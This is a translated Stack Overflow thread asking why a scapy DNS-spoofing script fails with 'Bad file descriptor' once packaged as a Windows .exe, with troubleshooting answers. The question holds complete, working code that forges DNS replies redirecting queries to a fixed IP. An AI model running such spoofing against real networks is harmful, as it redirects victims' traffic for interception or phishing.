我在windows中使用python2.7和capy-2.2.0。我正在尝试dns欺骗,它在python中运行得很好。但是当我做.exe并执行它时,我得到了这个错误
Traceback (most recent call last):
File "dns_spoof.py", line 17, in <module>
File "scapy\arch\windows\__init__.pyc", line 523, in sniff
File "dns_spoof.py", line 15, in dns_spoof
File "scapy\sendrecv.pyc", line 251, in send
File "scapy\sendrecv.pyc", line 237, in __gen_send
OSError: [Errno 9] Bad file descriptor
我怎么才能修好它?请帮帮忙。
这是源代码。
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
try:
from scapy.all import *
except:
from scapy import *
def dns_spoof(pkt):
redirect_to = '172.16.22.91'
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=redirect_to))
send(spoofed_pkt)
print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='eth0', store=0, prn=dns_spoof)
发布于 2014-06-24 06:59:32
它看起来使用的是一个错误的文件描述符(句柄)。例如,打开的东西,如stdout (管),用作插座。
如果我正确理解,相同的程序可以从源代码中运行,并在滚入exe时失败。我说的对吗?
如果您在linux上运行它,您将使用strace
来确定哪一个。
windows上的等效工具是Process Monitor
和Logger.exe
。
发布于 2018-10-21 07:54:47
在尝试send(IP(dst="1.2.3.4")/ICMP())
时,我也犯了同样的错误,我在github上发现,我的问题是,我使用的是,而不是windows上的命令提示符/Powershell。这是Powershell中的输出:
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
也许这不是OP遇到的问题,但这是Google上的第一条线,所以它可能会对某人有所帮助。
https://stackoverflow.com/questions/24380130
复制相似问题